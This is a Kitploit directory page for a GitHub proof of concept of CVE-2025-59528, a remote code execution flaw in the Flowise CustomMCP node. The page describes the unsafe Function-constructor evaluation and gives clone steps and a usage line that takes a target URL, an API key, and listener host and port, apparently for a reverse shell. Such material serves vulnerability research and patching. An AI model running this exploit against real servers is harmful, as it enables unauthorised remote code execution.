Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-59528 — CVE-2025-59528 Proof of Concept | Kitploit
Tools/GitHubGitHub/vanhari/cve-2025-59528
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubvanhari/cve-2025-59528

CVE-2025-59528

CVE-2025-59528 Proof of Concept

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-59528 – Flowise CustomMCP Node RCE (PoC)

Visitors

Overview

This repo containts proof of concept demonstrating CVE-2025-59528 in Flowise v3.0.5

The vulnerability exists in the customMCP node, where user-supplied mcpServerConfig input is processed in a way that leads to JavaScript code execution via unsafe evaluation using the Function constructor.

Affected Versions

AffectedFixed
3.0.53.0.6

Impact

An authenticated user may be able to execute arbitrary JavaScript on the server, potentially leading to remote code execution.

Installation

OSX/Linux

root@kitploit:~
git clone https://github.com/vanhari/CVE-2025-59528.git
cd CVE-2025-59528

Windows

root@kitploit:~
git clone https://github.com/vanhari/CVE-2025-59528.git
cd CVE-2025-59528

Usage

root@kitploit:~
python3 CVE-2025-59528.py -t "<url>" --api-key <api_key> --lhost <ip> --lport <port>

Usage

Disclaimer

This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by the tool.

Download Tool